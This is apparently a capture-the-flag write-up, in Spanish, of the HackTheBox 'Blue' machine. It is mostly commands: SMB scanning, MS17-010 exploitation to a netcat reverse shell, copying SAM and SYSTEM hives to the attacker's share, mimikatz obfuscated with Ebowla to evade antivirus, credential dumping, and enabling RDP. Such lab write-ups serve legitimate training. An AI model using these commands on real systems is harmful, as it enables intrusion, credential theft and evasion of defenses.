# BLUE
## Reconocimiento
### nmap
```
nmap -sS --min-rate 5000 -p- -Pn -n 10.10.10.40 -oG allPorts
```
```
┌─[root@cr4y0-PC]─[/home/cr4y0/Desktop/HackTheBox/BLUE]
└──╼ #nmap -sCV -p135,139,445,49152,49153,49154,49155,49156,49157 10.10.10.40 -oN targeted
Starting Nmap 7.92 ( https://nmap.org ) at 2022-07-22 13:33 -05
Nmap scan report for 10.10.10.40
Host is up (0.22s latency).
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open msrpc Microsoft Windows RPC
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2022-07-22T23:35:43
|_ start_date: 2022-07-22T22:45:41
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2022-07-23T00:35:44+01:00
|_clock-skew: mean: 4h40m03s, deviation: 34m35s, median: 5h00m01s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 117.40 seconds
```
### crackmapexec
```
cme smb 10.10.10.40
```
Para ver las categorías que existen en los scripts `.nse`:
```
locate .nse | xargs grep "categories" | grep -oP '".*?"' | sort -u
```
De las cuales se usarán las categorias "vuln" y "safe":
```
nmap --script "vuln and safe" -p135,139,445 10.10.10.40
```
```
nmap --script smb-vuln* -p139,445 10.10.10.40
```
Vemos que es vulnerable al ms17-010
## Explotación Manual - zzz_exploit
```
https://github.com/worawit/MS17-010
```
```
python2 checker.py 10.10.10.40
```
Si en alguno de los named pipes aparece como `OK` ya tenemos la posibilidad de ejecutar comandos
Cambiar USERNAME = 'guest' en algunos casos puede servir
```
python2 checker.py 10.10.10.40
```
También editar el archivo zzz_exploit.py en USERNAME = 'guest'
Ahora descargamos el nc `https://eternallybored.org/misc/netcat/`
```
impacket-smbserver smbFolder $(pwd) -smb2support
```
```
python2 zzz_exploit.py 10.10.10.40 samr
```
```
rlwrap nc -nvlp 4343
```
## Post Explotación
En ocasiones, en windows las credenciales se almacenan en la memoria las cuales pueden ser dumpeadas con mimikatz.
```
reg save HKLM\system system.backup
reg save HKLM\sam sam.backup
```
```
copy system.backup \\10.10.14.6\smbFolder\system
copy sam.backup \\10.10.14.6\smbFolder\sam
```
Se pueden obtener los hashes de los usuarios con la herramienta secretsdump:
```
secretsdump.py -sam sam -system system LOCAL
```
Ahora traemos el mimikatz desde
```
https://github.com/gentilkiwi/mimikatz/releases/tag/2.2.0-20210810-2
```
Para subir el mimikatz hacia la máquina víctima, se hará uso de la herramienta Ebowla para burlar el defender o protecciones existentes en el sistema:
### Pass The Hash
### EBOWLA
retocamos el `genetic.config`
```
echo %username%
HARIS-PC$
echo %computername%
HARIS-PC
echo %Number_of_processors%
2
echo %processor_identifier%
AMD64 Family 23 Model 49 Stepping 0, AuthenticAMD
echo %path%
C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;
```
```
python2 ebowla.py /home/cr4y0/Desktop/HackTheBox/BLUE/mimikatz/x64/mimikatz.exe genetic.config
```
```
./build_x64_go.sh output/go_symmetric_mimikatz.exe.go final_mimi.exe
```
Se transfiere el binario ofuscado
```
.\final_mimi.exe
```
```
privilege::debug
```
```
sekurlsa::logonPasswords
```
```
cme smb 10.10.10.40 -u 'Administrator' -p 'ejfnIWWDojfWEKM'
```
### rdp
HAbilitar puerto rdp
```
cme smb 10.10.10.40 -u 'Administrator' -p 'ejfnIWWDojfWEKM' -M rdp -o action=enable
```
## Recursos
https://refabr1k.gitbook.io/oscp/info-gathering/smb
https://book.hacktricks.xyz/network-services-pentesting/pentesting-smb
https://0xdf.gitlab.io/2018/12/02/pwk-notes-smb-enumeration-checklist-update1.html#nmblookupAnother
```
# smb enum script
nmap -p 139,445 --script smb-enum-users <ipaddress_here>
# Checks for OS of SMB
nmap -v -p 139,445 --script smb-os-discovery 10.11.24.85
#Checks for smb vulnerability
nmap -v -p 139,445 --script vuln <ipaddress_here>
nmap --script smb-vuln* -p 139,445 [ip]
#Dump interesting information
nmap --script "safe or smb-enum-*" -p 445 <IP>
# Bruteforce User Credentials
nmap --script smb-brute -p 445 <IP>
#List Shares
nmap --script smb-enum-shares -p 139,445 [ip]
```
Sign in with Wallet
Connect another wallet